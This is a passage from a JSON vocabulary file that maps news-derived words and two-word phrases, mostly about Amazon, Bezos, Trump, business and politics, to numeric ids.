bohemian": 157787, "spoon geekwire": 157788, "misdiagnosed amazons": 157789, "type event": 157790, "don build": 157791, "content shooting": 157792, "delive trump": 157793, "additional funds": 157794, "surging air": 157795, "billion reaction": 157796, "money wouldn": 157797, "better working": 157798, "levering": 157799, "plane owned": 157800, "spiegel hopes": 157801, "alive jayme": 157802, "walmart foto": 157803, "financial unit": 157804, "current chinese": 157805, "series centers": 157806, "significant relation": 157807, "energize": 157808, "filed similar": 157809, "push consumers": 157810, "trump number": 157811, "ledger database": 157812, "driving vehicles": 157813, "newsletter group": 157814, "doubleline": 157815, "outperformed": 157816, "bear territory": 157817, "customers shopped": 157818, "clancy": 157819, "arbitrarily order": 157820, "position josh": 157821, "employed personal": 157822, "bits": 157823, "propaganda tool": 157824, "worries": 157825, "don care": 157826, "insulated": 157827, "post offices": 157828, "personal loan": 157829, "minister justin": 157830, "liane hornsey": 157831, "quarter representing": 157832, "cardcontents additionalsections": 157833, "workers left": 157834, "verdict false": 157835, "netflix programs": 157836, "subsidiary amazon": 157837, "j5q function": 157838, "wonk": 157839, "schwartzegger": 157840, "governments salivated": 157841, "endings": 157842, "downturn": 157843, "creating spaces": 157844, "taken trump": 157845, "nicole": 157846, "olshan": 157847, "anthropologie dresses": 157848, "list starting": 157849, "contractor northrop": 157850, "product business": 157851, "brand based": 157852, "videocollection currentvideocollection": 157853, "big corporate": 157854, "options plan": 157855, "terry gou": 157856, "saying sinclair": 157857, "good costume": 157858, "bryan stevenson": 157859, "wage kick": 157860, "allegedly petty": 157861, "expos\u00e9": 157862, "bezos steps": 157863, "dangerous thing": 157864, "reviews averaged": 157865, "company argenti": 157866, "fox comcast": 157867, "pitkin": 157868, "remains positive": 157869, "best pitch": 157870, "ramirez": 157871, "short america": 157872, "lenz discussed": 157873, "ibm looks": 157874, "magazine watch": 157875, "perverse": 157876, "goofy": 157877, "pour": 157878, "foreign companies": 157879, "insurance company": 157880, "star antoni": 157881, "endanger threaten": 157882, "services group": 157883, "netflix holdings": 157884, "press credentials": 157885, "cis favors": 157886, "tim stone": 157887, "forbes began": 157888, "establishment conservatives": 157889, "extremely high": 157890, "spaces fashion": 157891, "springboard": 157892, "unaired": 157893, "stretch warren": 157894, "leaked online": 157895, "year trump": 157896, "wayfair prior": 157897, "amazon profile": 157898, "ulrich": 157899, "post constitute": 157900, "horn referendum": 157901, "2016 prescription": 157902, "amzn revenue": 157903, "powerful people": 157904, "2019 reports": 157905, "mark webber": 157906, "checking george": 157907, "goofily": 157908, "report indicated": 157909, "actually worked": 157910, "dollars dozens": 157911, "kim people": 157912, "family planning": 157913, "promoted tweets": 157914, "future": 157915, "berg holds": 157916, "regulation correctly": 157917, "compensation costs": 157918, "loyalty programs": 157919, "cybersecurity engineer": 157920, "queens waterfront": 157921, "democrat controlled": 157922, "sp 500": 157923, "rojas explains": 157924, "small electronics": 157925, "fed funds": 157926, "dissemination sanchez": 157927, "quarter danger": 157928, "person says": 157929, "brazen acts": 157930, "feud engulfing": 157931, "monopoly contract": 157932, "workers expensive": 157933, "group kristalina": 157934, "consumer deliveries": 157935, "claim bezos": 157936, "medical needs": 157937, "street tunnel": 157938, "known attendees": 157939, "forests hotter": 157940, "google turns": 157941, "corporation doesn": 157942, "scotus fight": 157943, "inciting riots": 157944, "recommends charging": 157945, "morigi": 157946, "authorities kept": 157947, "thing coming": 157948, "neighborhoods bezos": 157949, "quite jim": 157950, "2019 microsoft": 157951, "sentenced ex": 157952, "president feud": 157953, "cnbc delrahim": 157954, "american racism": 157955, "tampa bay": 157956, "staff claims": 157957, "interesting gift": 157958, "components damaged": 157959, "raising question": 157960, "current residence": 157961, "z8 return": 157962, "downloadable": 157963, "picks cambria": 157964, "fund brian": 157965, "expressed concerns": 157966, "ethical leader": 157967, "scene unfolded": 157968, "leo varadkar": 157969, "council warned": 157970, "refrigeration": 157971, "favor particular": 157972, "kate snow": 157973, "0r3wioxgeh bxp": 157974, "leong": 157975, "companies small": 157976, "korea announced": 157977, "major cloud": 157978, "comment south": 157979, "major earnings": 157980, "throwing": 157981, "andthird": 157982, "pamela": 157983, "delay 5g": 157984, "platform trailhead": 157985, "trump paper": 157986, "cabernet": 157987, "216657": 157988, "24th annual": 157989, "opinions browndailyherald": 157990, "fairy tale": 157991, "edward hudgins": 157992, "rights defenders": 157993, "brokerage house": 157994, "direct response": 157995, "department antitrust": 157996, "channel works": 157997, "subtitled": 157998, "swamp draining": 157999, "fixed rate": 158000, "group employers": 158001, "speech pattern": 158002, "market players": 158003, "netflix drawing": 158004, "surprised michelle": 158005, "house democrat": 158006, "coats cia": 158007, "delivery": 158008, "decreased fertility": 158009, "increase punishments": 158010, "machine notes": 158011, "mall near": 158012, "pathological lying": 158013, "longer attend": 158014, "claims rise": 158015, "shitty treatment": 158016, "alleged correspondence": 158017, "hills spruces": 158018, "geneen": 158019, "choice sees": 158020, "rosenstein statements": 158021, "tomato": 158022, "palmer sees": 158023, "park kansas": 158024, "trade barriers": 158025, "foundation bystander": 158026, "eighteen": 158027, "community according": 158028, "transportation policy": 158029, "rubenstein asked": 158030, "planned long": 158031, "electronic commerce": 158032, "widely panned": 158033, "northwestern united": 158034, "advice biz": 158035, "ticking box": 158036, "determine abramowitz": 158037, "business mattis": 158038, "pluralist society": 158039, "audrey johns": 158040, "attracts political": 158041, "richmond sanders": 158042, "749": 158043, "sense suggests": 158044, "india resumes": 158045, "platform ex": 158046, "face investor": 158047, "headquarters maintained": 158048, "relationships withthese": 158049, "investment apply": 158050, "hochul": 158051, "enterprise mannequin": 158052, "stormy weather": 158053, "main fubo": 158054, "rsns": 158055, "consultant bain": 158056, "investors jack": 158057, "year thanks": 158058, "apple nearly": 158059, "lighters": 158060, "says welcome": 158061, "cnn cuts": 158062, "today connecttweetlinkedincommentemailmore": 158063, "bearing servitude": 158064, "post manuel": 158065, "rapidly adjust": 158066, "host new": 158067, "tourist kevin": 158068, "cancer foods": 158069, "limit freedom": 158070, "business tactics": 158071, "tweeted great": 158072, "lost control": 158073, "libya conference": 158074, "does checks": 158075, "america despite": 158076, "seeking washington": 158077, "examiner records": 158078, "americans spent": 158079, "media battle": 158080, "assault survivors": 158081, "company communities": 158082, "juggles": 158083, "improve worker": 158084, "office scam": 158085, "mile deliveries": 158086, "tony winning": 158087, "smalls halfhearted": 158088, "conservatives dubbed": 158089, "solid growth": 158090, "sounds little": 158091, "petty cash": 158092, "gawande politics": 158093, "resolution selfie": 158094, "data despite": 158095, "federal minimum": 158096, "state compensation": 158097, "personal animosity": 158098, "rifle olivia": 158099, "western new": 158100, "years mastercard": 158101, "fargo company": 158102, "dog checks": 158103, "relatively quiet": 158104, "epidemic art": 158105, "194 198": 158106, "labor unwieldy": 158107, "investments internationally": 158108, "big box": 158109, "prosecutor": 158110, "acquiring target": 158111, "907 bought": 158112, "adjusted ebitda": 158113, "apart knockoffs": 158114, "proctor": 158115, "plan today": 158116, "wasyou talk": 158117, "successfully launched": 158118, "haiti": 158119, "pressured government": 158120, "acclaimed horror": 158121, "trump consistently": 158122, "strangeness article38200763": 158123, "avalaras": 158124, "states push": 158125, "vantagewire indiatimes": 158126, "counterfeit pharmaceuticals": 158127, "updateshowinfo": 158128, "sigo": 158129, "email pensions": 158130, "loss makers": 158131, "payload": 158132, "blame trump": 158133, "deutsch lashed": 158134, "carnage trump": 158135, "expanded tax": 158136, "greater consequence": 158137, "divorce affect": 158138, "ideal option": 158139, "reuters employees": 158140, "tim ryan": 158141, "schuetz": 158142, "farrow alleged": 158143, "yes exactly": 158144, "convenience bezos": 158145, "group charles": 158146, "fully compensates": 158147, "affect student": 158148, "leader john": 158149, "beast thedailybeast": 158150, "priciest construction": 158151, "merchandise home": 158152, "reception": 158153, "hopper": 158154, "denigrates": 158155, "hodder": 158156, "aol nyse": 158157, "develops market": 158158, "click ordering": 158159, "leave wiggle": 158160, "delivers toothpaste": 158161, "iq developer": 158162, "approved resolution": 158163, "2013 purchase": 158164, "frea visited": 158165, "arms increases": 158166, "mere stakeholder": 158167, "fly private": 158168, "sarah huckabee": 158169, "format complete": 158170, "pop retailers": 158171, "push trump": 158172, "joint guest": 158173, "discount mail": 158174, "100 staff": 158175, "crayton": 158176, "farrow son": 158177, "guilty new": 158178, "creating citywide": 158179, "successful antitrust": 158180, "arthur laffer": 158181, "live far": 158182, "dave thinks": 158183, "suspends cambridge": 158184, "sumita ksw": 158185, "media yelp": 158186, "new government": 158187, "clinton affairs": 158188, "ultimately spell": 158189, "spent billion": 158190, "media statistic": 158191, "major impact": 158192, "public break": 158193, "flow fcf": 158194, "canadian citizens": 158195, "collapse multiple": 158196, "whatsapp facebook": 158197, "oversized political": 158198, "today explains": 158199, "sentiment index": 158200, "term bartiromo": 158201, "told kiro": 158202, "165 bought": 158203, "reported losses": 158204, "motco": 158205, "right strategy": 158206, "recent survey": 158207, "spelling test": 158208, "difficult spot": 158209, "creating boom": 158210, "uncut chrissy": 158211, "center marc": 158212, "tracey": 158213, "teen girls": 158214, "unparalleled talent": 158215, "veena": 158216, "casey": 158217, "exasperation": 158218, "xcel energy": 158219, "nimble private": 158220, "puts spotlight": 158221, "holographic phone": 158222, "seen lots": 158223, "fosters": 158224, "seattle geekwire": 158225, "acted improperly": 158226, "recording devices": 158227, "insurance usually": 158228, "callista concerns": 158229, "paying overtime": 158230, "hailey": 158231, "easily highly": 158232, "mngmt equity": 158233, "concern allies": 158234, "world descriptionplaintext": 158235, "doesn read": 158236, "ahead tech": 158237, "expending real": 158238, "joe thomas": 158239, "company looking": 158240, "good riddance": 158241, "write": 158242, "darcy oliverdarcy": 158243, "tech stakes": 158244, "cruise lines": 158245, "employ mexican": 158246, "provide boost": 158247, "trump ahead": 158248, "940 billion": 158249, "legal dispute": 158250, "developing team": 158251, "currentvideocollectioncontainsid videoid": 158252, "2018 advertisement": 158253, "available tree": 158254, "just signed": 158255, "terribly tony": 158256, "discussion": 158257, "omers": 158258, "bga": 158259, "teams join": 158260, "poohed amazon": 158261, "gathering momentum": 158262, "empire attack": 158263, "amazon showed": 158264, "trump challenged": 158265, "threadbare": 158266, "democrats": 158267, "people harry": 158268, "hanbury": 158269, "brokaw savannah": 158270, "brewery": 158271, "destination additional": 158272, "local voice": 158273, "kill story": 158274, "abramowitz represents": 158275, "similar program": 158276, "sinclair broadcast": 158277, "tusk holdings": 158278, "carney": 158279, "dishonesty": 158280, "broader equity": 158281, "spotlight turned": 158282, "itep director": 158283, "groups selling": 158284, "special treatment": 158285, "shipping business": 158286, "ben mehic": 158287, "management bought": 158288, "family tragic": 158289, "rich woman": 158290, "terrible role": 158291, "year fixed": 158292, "college professor": 158293, "winning staff": 158294, "afe": 158295, "air rail": 158296, "booed": 158297, "series dwells": 158298, "carolina republican": 158299, "rapace": 158300, "peculiar": 158301, "kingston pike": 158302, "cardboard packaging": 158303, "suggesting": 158304, "music ensured": 158305, "uncharted waters": 158306, "convenient trump": 158307, "scenes things": 158308, "separate locations": 158309, "won 600": 158310, "opposition arguing": 158311, "naked pictures": 158312, "new changes": 158313, "whit": 158314, "hq2scam": 158315, "usps divide": 158316, "having similar": 158317, "cargo carriers": 158318, "investigation texas": 158319, "carry trade": 158320, "analyst focus": 158321, "city city": 158322, "2018 cities": 158323, "comment pointing": 158324, "scam carlson": 158325, "music books": 158326, "deforestation supply": 158327, "superpac": 158328, "quarterback colin": 158329, "wealthiest beings": 158330, "standouts coming": 158331, "highest estimate": 158332, "derek kan": 158333, "public prosecutor": 158334, "fell heavily": 158335, "feature journalism": 158336, "giant reconsiders": 158337, "year conference": 158338, "reconstruction adhere": 158339, "recently highlighted": 158340, "considerations trump": 158341, "dodgers think": 158342, "relies": 158343, "barons": 158344, "immigrant family": 158345, "gaines": 158346, "celtic": 158347, "councilman": 158348, "family says": 158349, "new mystery": 158350, "redstone billion": 158351, "experience adopting": 158352, "parties members": 158353, "closed honolulu": 158354, "commercial powers": 158355, "minimum tax": 158356, "animus fear": 158357, "initiative referenced": 158358, "election commission": 158359, "john trump": 158360, "continued sales": 158361, "company faced": 158362, "content rubenstein": 158363, "washington just": 158364, "minneapolis fed": 158365, "planned travel": 158366, "korth": 158367, "passions goals": 158368, "kuns2yxmsg michael": 158369, "qldb": 158370, "annette": 158371, "levelling": 158372, "market listing": 158373, "stores shares": 158374, "utah state": 158375, "mountains": 158376, "classic": 158377, "trumping criticism": 158378, "psychotropic": 158379, "management giving": 158380, "corporate moves": 158381, "aung san": 158382, "easy way": 158383, "fiction note": 158384, "media send2press": 158385, "bartlett recent": 158386, "scheduled shifts": 158387, "html url": 158388, "brought facebook": 158389, "bangladesh china": 158390, "farr thank": 158391, "countdown calls": 158392, "dan henniger": 158393, "johnson speaks": 158394, "argument isn": 158395, "bum": 158396, "ambiguous": 158397, "development authority": 158398, "supports traditional": 158399, "page 7a": 158400, "best month": 158401, "tango mining": 158402, "recruit women": 158403, "graciously provided": 158404, "point michael": 158405, "remedy working": 158406, "motivated roig": 158407, "important customer": 158408, "meaningful threat": 158409, "peele thrilling": 158410, "kids hands": 158411, "project linked": 158412, "shaun": 158413, "respectively according": 158414, "german word": 158415, "match unlimited": 158416, "similar experience": 158417, "w5 s5": 158418, "overtook amazon": 158419, "novel holtzbrinck": 158420, "attract customers": 158421, "currently bestseller": 158422, "indecember": 158423, "unfairly target": 158424, "book sellers": 158425, "media tour": 158426, "bausch": 158427, "forcing": 158428, "elect true": 158429, "david drabkin": 158430, "defaulting": 158431, "formal chain": 158432, "writer sets": 158433, "curb illegal": 158434, "career post": 158435, "ultimately succeeded": 158436, "forward 2018": 158437, "probability": 158438, "arm": 158439, "year declared": 158440, "donning": 158441, "antitrust violation": 158442, "public showdown": 158443, "var j8i": 158444, "bezos super": 158445, "users outside": 158446, "lover bezos": 158447, "dow chemical": 158448, "alt hollywood": 158449, "bezos photo": 158450, "900 page": 158451, "impeachable wrongdoing": 158452, "cost hudgins": 158453, "schoolers amazon": 158454, "business community": 158455, "zondo": 158456, "recent expos\u00e9": 158457, "carlos barria": 158458, "2018 pymnts": 158459, "texts sent": 158460, "confessed": 158461, "writing books": 158462, "drawback": 158463, "old niece": 158464, "trump legislation": 158465, "guatemalan mexico": 158466, "sounds insane": 158467, "combining private": 158468, "contract closed": 158469, "rules affecting": 158470, "wood cutting": 158471, "nibbling away": 158472, "newfound fame": 158473, "birthday paul": 158474, "life american": 158475, "payments categories": 158476, "strategic carriers": 158477, "cute trump": 158478, "seemingly unsuccessful": 158479, "sanchez firmly": 158480, "progressives want": 158481, "potentially reshape": 158482, "successful forecasts": 158483, "reported conversations": 158484, "entire library": 158485, "powerful ceo": 158486, "food nik": 158487, "successful presidential": 158488, "cable divisions": 158489, "administration fmcsa": 158490, "calls bernie": 158491, "light hearted": 158492, "strengthen trade": 158493, "significantly cheaper": 158494, "antitrust legislation": 158495, "markets require": 158496, "video obtained": 158497, "video_description 1iq5vw0": 158498, "just speaking": 158499, "larry fink": 158500, "local officials": 158501, "company specific": 158502, "incredible cutting": 158503, "amazon think": 158504, "aggressively priced": 158505, "ignore president": 158506, "critical state": 158507, "swim": 158508, "beautiful": 158509, "jan svendsen": 158510, "shariah": 158511, "tenn facebook": 158512, "dishart founder": 158513, "just concrete": 158514, "worded version": 158515, "using practice": 158516, "company officials": 158517, "cigarettes": 158518, "similar claims": 158519, "importantly create": 158520, "embryonic guinea": 158521, "worshiping": 158522, "day nys": 158523, "prefund retiree": 158524, "tankersley": 158525, "sites according": 158526, "judy munro": 158527, "shares lakeview": 158528, "announcement forever": 158529, "smt0130_mall_adobe jpg": 158530, "constantly sprinkling": 158531, "bruder": 158532, "vehicles earning": 158533, "great crime": 158534, "tabernacle international": 158535, "oracle cites": 158536, "regulation companies": 158537, "development research": 158538, "world euro": 158539, "tillman north": 158540, "film company": 158541, "trump pulled": 158542, "galvanize supporters": 158543, "amazonbasics early": 158544, "little cause": 158545, "selling prescription": 158546, "policies nancy": 158547, "wall soon": 158548, "nervous walmart": 158549, "remotely unlock": 158550, "lost home": 158551, "trump loves": 158552, "moving faster": 158553, "bailout plan": 158554, "absurd situation": 158555, "important united": 158556, "forgotten slave": 158557, "trumptruffles": 158558, "feeling bruised": 158559, "articles kevin": 158560, "rival magic": 158561, "containerclassid containerid": 158562, "organizes": 158563, "nationally adding": 158564, "new sulzberger": 158565, "base additionally": 158566, "backing bezos": 158567, "list recently": 158568, "teen knifed": 158569, "charges merchants": 158570, "winning bid": 158571, "investment boom": 158572, "british government": 158573, "obscenely high": 158574, "unglamorous": 158575, "struggled": 158576, "dominate social": 158577, "pelosi argument": 158578, "aapl won": 158579, "slid remember": 158580, "shortly expected": 158581, "warring factions": 158582, "international area": 158583, "wide political": 158584, "amazon staten": 158585, "yurus reports": 158586, "barr letter": 158587, "muriel bowser": 158588, "specifically mentioned": 158589, "safety work": 158590, "brent frei": 158591, "billionaire claimed": 158592, "monopoly online": 158593, "crucible": 158594, "state complaint": 158595, "long accused": 158596, "israel quoted": 158597, "retiring richard": 158598, "milks": 158599, "democrats blow": 158600, "intelligence company": 158601, "declaration": 158602, "2018 did": 158603, "alphonso evans": 158604, "political donation": 158605, "beijing having": 158606, "embrace ports": 158607, "east experts": 158608, "weary carolinas": 158609, "test flights": 158610, "dawn smalls": 158611, "tyson foods": 158612, "internal logic": 158613, "filmmaker sofia": 158614, "dont count": 158615, "african diaspora": 158616, "city center": 158617, "rachel chu": 158618, "schlosser president": 158619, "watermark": 158620, "bigger picture": 158621, "form doritos": 158622, "needed conservative": 158623, "gales says": 158624, "include astoria": 158625, "commercial redevelopment": 158626, "manufacturing park": 158627, "pot accessories": 158628, "810 voters": 158629, "company political": 158630, "discrimination": 158631, "stop publication": 158632, "enquirer brought": 158633, "past time": 158634, "brief review": 158635, "thequestion": 158636, "today reps": 158637, "ultimately chosen": 158638, "service loan": 158639, "fake australian": 158640, "institute ranking": 158641, "successful welch": 158642, "bloomberg declined": 158643, "alibaba rival": 158644, "nominee": 158645, "hq2 times": 158646, "qqq": 158647, "billion gates": 158648, "diametrically": 158649, "movies books": 158650, "investment mgmt": 158651, "quiet bezos": 158652, "391 page": 158653, "lisa petrillo": 158654, "expulsion": 158655, "abhish matthew": 158656, "locale": 158657, "enquirer piece": 158658, "faking": 158659, "specials": 158660, "keeps approving": 158661, "gina haspel": 158662, "miles north": 158663, "voices heard": 158664, "smaller tech": 158665, "idea department": 158666, "necessity": 158667, "good progressives": 158668, "wire free": 158669, "trans lives": 158670, "mueller cataloged": 158671, "seasonality peaks": 158672, "cain odds": 158673, "chaos": 158674, "watch fake": 158675, "latent insecurity": 158676, "sagindie": 158677, "2018 earlier": 158678, "slane boston": 158679, "richard howorth": 158680, "bitcoin rat": 158681, "yiwu": 158682, "new offering": 158683, "etched": 158684, "nyse kr": 158685, "died": 158686, "insider confirmed": 158687, "says used": 158688, "huseman responded": 158689, "retailers chief": 158690, "logged billion": 158691, "irs delay": 158692, "gifts wrapped": 158693, "surprise visit": 158694, "catalino": 158695, "perez chuck": 158696, "thinks president": 158697, "net worth": 158698, "exec claire": 158699, "amendment critics": 158700, "horowitz excellent": 158701, "scott morrison": 158702, "won create": 158703, "convened panel": 158704, "house access": 158705, "unaided": 158706, "yes lot": 158707, "horrible": 158708, "carmel": 158709, "naturalcures": 158710, "1721et": 158711, "signals break": 158712, "scolded": 158713, "3665": 158714, "regulations need": 158715, "man hired": 158716, "pressuring companies": 158717, "behalf guess": 158718, "showing film": 158719, "years bringing": 158720, "dough": 158721, "catspaw": 158722, "firms ranging": 158723, "loudobbs": 158724, "politically damaging": 158725, "fragmented": 158726, "forest store": 158727, "motherboards focus": 158728, "average wage": 158729, "simon": 158730, "gold aljazeera": 158731, "farmworkers": 158732, "tweet finally": 158733, "despair": 158734, "alleged killing": 158735, "car exclusively": 158736, "weather michael": 158737, "ruhle asked": 158738, "259 shares": 158739, "captchas": 158740, "san artillery": 158741, "ruling dealing": 158742, "bulls earnings": 158743, "management unit": 158744, "amazon aversion": 158745, "stays just": 158746, "british columbia": 158747, "rt atsopro": 158748, "attempted arson": 158749, "problem recommend": 158750, "cchurchill": 158751, "size certainly": 158752, "national marijuana": 158753, "cheaper": 158754, "exploration operation": 158755, "democrats anger": 158756, "muted response": 158757, "fuel tank": 158758, "forceful explanation": 158759, "edge believes": 158760, "salacious tabloid": 158761, "support giving": 158762, "graffiti": 158763, "cap management": 158764, "oise": 158765, "held shaped": 158766, "hq2s": 158767, "instagram billion": 158768, "nic": 158769, "news personality": 158770, "bury embarrassing": 158771, "follow simple": 158772, "severely hit": 158773, "public apology": 158774, "bud light": 158775, "engineer": 158776, "speech facebook": 158777, "press using": 158778, "lsd": 158779, "echoed similar": 158780, "clark nyse": 158781, "deficit kilmeade": 158782, "a2ckhl3zj9 empire": 158783, "retailer continues": 158784, "faces increases": 158785, "hear trump": 158786, "multiple pills": 158787, "2011 scott": 158788, "political battle": 158789, "shares diversified": 158790, "globe conquering": 158791, "book texit": 158792, "succession breaks": 158793, "queens lawmakers": 158794, "answer": 158795, "fell briefly": 158796, "violating": 158797, "taxes years": 158798, "takes": 158799, "days making": 158800, "cites intensifying": 158801, "company teeuwe": 158802, "indymac saddled": 158803, "private christian": 158804, "civil servant": 158805, "useful donations": 158806, "germans": 158807, "mutate function": 158808, "campus officially": 158809, "feed fast": 158810, "koshinski asset": 158811, "concerned stewart": 158812, "ovide claimed": 158813, "editions globe": 158814, "civil fraud": 158815, "nature ronan": 158816, "federal welfare": 158817, "1954": 158818, "board elections": 158819, "focused richly": 158820, "chu thinks": 158821, "response uk": 158822, "major reasons": 158823, "post claimed": 158824, "sanders welfare": 158825, "competition going": 158826, "instruction": 158827, "later_30 html": 158828, "exchange traded": 158829, "alec": 158830, "insider tips": 158831, "feel comfortable": 158832, "pinkfong": 158833, "amazon expressway": 158834, "promotion photographer": 158835, "drinking": 158836, "qanon far": 158837, "media_0": 158838, "main problem": 158839, "flop washington": 158840, "division destruction": 158841, "foolish": 158842, "hot": 158843, "middleton ma": 158844, "trump irritation": 158845, "43415030": 158846, "reich wrote": 158847, "washington twitter": 158848, "little known": 158849, "weigel": 158850, "content despite": 158851, "availability message": 158852, "gigi": 158853, "tough scrutiny": 158854, "donors disagree": 158855, "forming twisted": 158856, "carey": 158857, "old box": 158858, "video leary": 158859, "fake video": 158860, "appears online": 158861, "employing": 158862, "worst days": 158863, "amazon relies": 158864, "stephen king": 158865, "live economy": 158866, "vernon concluded": 158867, "retailers envy": 158868, "boddi": 158869, "cohen novartis": 158870, "latinx": 158871, "sinnet technology": 158872, "eps growth": 158873, "trump nominates": 158874, "cloud onaws": 158875, "syria terror": 158876, "prairie state": 158877, "iranian oil": 158878, "bilateral summit": 158879, "mark zuckerberg": 158880, "gettyimages": 158881, "rainforest saying": 158882, "people separately": 158883, "antitrust act": 158884, "overall phishing": 158885, "humbled": 158886, "informational": 158887, "slapping": 158888, "wong maye": 158889, "enforcement mechanism": 158890, "open bud": 158891, "sugar pie": 158892, "importantreminder": 158893, "christopher": 158894, "criticism ofthe": 158895, "shootings responsibly": 158896, "orlando fla": 158897, "locations hsn": 158898, "aclu told": 158899, "corporation recent": 158900, "business executives": 158901, "going great": 158902, "dhs gizmodo": 158903, "sons eric": 158904, "iwan rheon": 158905, "cast shadow": 158906, "sues man": 158907, "rm2 44bil": 158908, "rice farmers": 158909, "service trump": 158910, "alexandria occasio": 158911, "pr trainwreck": 158912, "final destination": 158913, "investors decided": 158914, "sanctions marine": 158915, "military nuclear": 158916, "million children": 158917, "conspiracy started": 158918, "eps reported": 158919, "cia flash": 158920, "hazy therese": 158921, "america president": 158922, "worker comp": 158923, "doesn bias": 158924, "maura healey": 158925, "big fake": 158926, "renae": 158927, "earnings induced": 158928, "valley": 158929, "rival online": 158930, "information revealed": 158931, "family rifts": 158932, "blaming bezos": 158933, "generate resources": 158934, "bernstein amazon": 158935, "holding day": 158936, "null nextplay": 158937, "adverse effects": 158938, "bezos researcher": 158939, "reported 500": 158940, "bezos refers": 158941, "fun taylor": 158942, "examined election": 158943, "disagrees": 158944, "rpg": 158945, "310": 158946, "ballgame works": 158947, "today meeting": 158948, "strict trade": 158949, "crisis says": 158950, "preaker stroy": 158951, "c0 aa": 158952, "american outdoor": 158953, "regional federal": 158954, "quadruple": 158955, "amazon according": 158956, "mobile users": 158957, "philanthropy fund": 158958, "afuye says": 158959, "international sales": 158960, "atlanta brand": 158961, "original mom": 158962, "askthemayor segment": 158963, "amazon delivery": 158964, "newswire los": 158965, "report paywall": 158966, "beloved amazon": 158967, "yanked": 158968, "company dominates": 158969, "fokyrqfyl5 justice": 158970, "required competitions": 158971, "immunity applies": 158972, "recreational weed": 158973, "meet china": 158974, "dopp case": 158975, "help economy": 158976, "begin charging": 158977, "affect kids": 158978, "stephanie kelton": 158979, "trump stating": 158980, "national parks": 158981, "outside construction": 158982, "americans say": 158983, "offering fresh": 158984, "cow": 158985, "certificate contest": 158986, "harvest gainsit": 158987, "problems countries": 158988, "dana rubinstein": 158989, "profound negative": 158990, "bezos declared": 158991, "chains antibiotic": 158992, "government drafted": 158993, "uk arrow": 158994, "company known": 158995, "target corporation": 158996, "states ordering": 158997, "walmart burger": 158998, "howard parul": 158999, "unlikely saviors": 159000, "opinion columnist": 159001, "sympathetic victim": 159002, "tcja itep": 159003, "trade delegation": 159004, "instagram cited": 159005, "pay chairman": 159006, "fintechs": 159007, "crisis journalist": 159008, "executefeature": 159009, "statessenate": 159010, "starve": 159011, "money loser": 159012, "warning comments": 159013, "statement emphasis": 159014, "higher postal": 159015, "ian frisch": 159016, "good law": 159017, "trump agitator": 159018, "brian stelter": 159019, "optimizing": 159020, "106 965": 159021, "schumer case": 159022, "city rozic": 159023, "delivering million": 159024, "cities worth": 159025, "lisa brennan": 159026, "sex bezos": 159027, "boboswald33 gmail": 159028, "china rapidly": 159029, "range think": 159030, "misconduct settlements": 159031, "apiece": 159032, "tweets saying": 159033, "skills challenge": 159034, "soon hired": 159035, "lawmakers vote": 159036, "general organized": 159037, "decision overturned": 159038, "src videocardcontents": 159039, "recovery disinvestment": 159040, "buying computers": 159041, "agreement usmca": 159042, "ncaa": 159043, "ceo balance": 159044, "article reminding": 159045, "insider crystal": 159046, "gonna push": 159047, "fuggedaboutit reuters": 159048, "budget plans": 159049, "today 2018": 159050, "kelly house": 159051, "nerve": 159052, "amazon continued": 159053, "executives amazon": 159054, "rhyming": 159055, "correction right": 159056, "1960s": 159057, "red sonja": 159058, "usps meets": 159059, "pinning": 159060, "height 900": 159061, "films founded": 159062, "netflix canada": 159063, "way impugn": 159064, "moody wrote": 159065, "finally aside": 159066, "roundtable": 159067, "distraction": 159068, "137 billion": 159069, "cnn videoplayer": 159070, "antitrust arm": 159071, "wendy": 159072, "term admittedly": 159073, "daniel sold": 159074, "neutrality law": 159075, "election integrity": 159076, "momentum winner": 159077, "connecticut woman": 159078, "adequate": 159079, "jamarlin continues": 159080, "gop senate": 159081, "abramovich": 159082, "lazarus column": 159083, "developmental": 159084, "officer rosalind": 159085, "boy causing": 159086, "early investor": 159087, "actually did": 159088, "solid goliath": 159089, "tv amazon": 159090, "bezos stated": 159091, "amazon jeff": 159092, "leads point": 159093, "acres": 159094, "bryan singer": 159095, "shooting anniversary": 159096, "financial policy": 159097, "including pecker": 159098, "constantly finding": 159099, "value approaching": 159100, "scandals chased": 159101, "pharma companies": 159102, "submit r4ee": 159103, "fair benefits": 159104, "goods brands": 159105, "516": 159106, "alibaba peter": 159107, "moore breakthrough": 159108, "blast email": 159109, "related careers": 159110, "coverage baron": 159111, "farrow allegations": 159112, "information service": 159113, "bartiromo fox": 159114, "grown privately": 159115, "bbc headlines": 159116, "say amazon": 159117, "trend actually": 159118, "russ vought": 159119, "aclu methodology": 159120, "future benefit": 159121, "captured solid": 159122, "cloud space": 159123, "fortnite bucks": 159124, "development investments": 159125, "flex customer": 159126, "turn focus": 159127, "days read": 159128, "seattle climate": 159129, "reader saying": 159130, "received overwhelming": 159131, "partner companies": 159132, "mnuchin looked": 159133, "film set": 159134, "nuclear attack": 159135, "cornered": 159136, "sell copies": 159137, "threatening": 159138, "company nash": 159139, "insider connections": 159140, "dubbed national": 159141, "deep plunge": 159142, "progressive faces": 159143, "story bernanke": 159144, "ellison think": 159145, "brash bawdy": 159146, "slated": 159147, "great tv": 159148, "antipoverty charity": 159149, "nabbing nearly": 159150, "chose national": 159151, "dont win": 159152, "blake later": 159153, "war overseen": 159154, "showspinner fail": 159155, "states intends": 159156, "accounts htc": 159157, "seconds fbi": 159158, "racist hours": 159159, "economic talking": 159160, "recognition falsely": 159161, "possible fate": 159162, "backside": 159163, "f8 apply": 159164, "massive fisa": 159165, "pretty plate": 159166, "sifting": 159167, "brennan persistent": 159168, "general trump": 159169, "burglary suspects": 159170, "usps according": 159171, "martens courtmartensjd": 159172, "editor think": 159173, "stock started": 159174, "precinct located": 159175, "carriers worldwide": 159176, "antonio missing": 159177, "philadelphia fed": 159178, "benjysarlin": 159179, "gmt federal": 159180, "struck giant": 159181, "country broken": 159182, "party far": 159183, "charlotte pence": 159184, "mumbai": 159185, "rusterholz": 159186, "delta flight": 159187, "offering surveillance": 159188, "era deferred": 159189, "amazon china": 159190, "despite making": 159191, "taxes debunking": 159192, "copying": 159193, "adult hardcover": 159194, "fixing news": 159195, "000 based": 159196, "problems restarting": 159197, "missing teen": 159198, "transgender day": 159199, "points morgan": 159200, "hate monitoring": 159201, "need congressional": 159202, "precedent": 159203, "dozen post": 159204, "president relationship": 159205, "weakened status": 159206, "function eb": 159207, "minefield": 159208, "portman husband": 159209, "super souk": 159210, "walmart future": 159211, "2015 started": 159212, "transcript provided": 159213, "kenan": 159214, "lewinsky scandal": 159215, "economy needs": 159216, "correctly 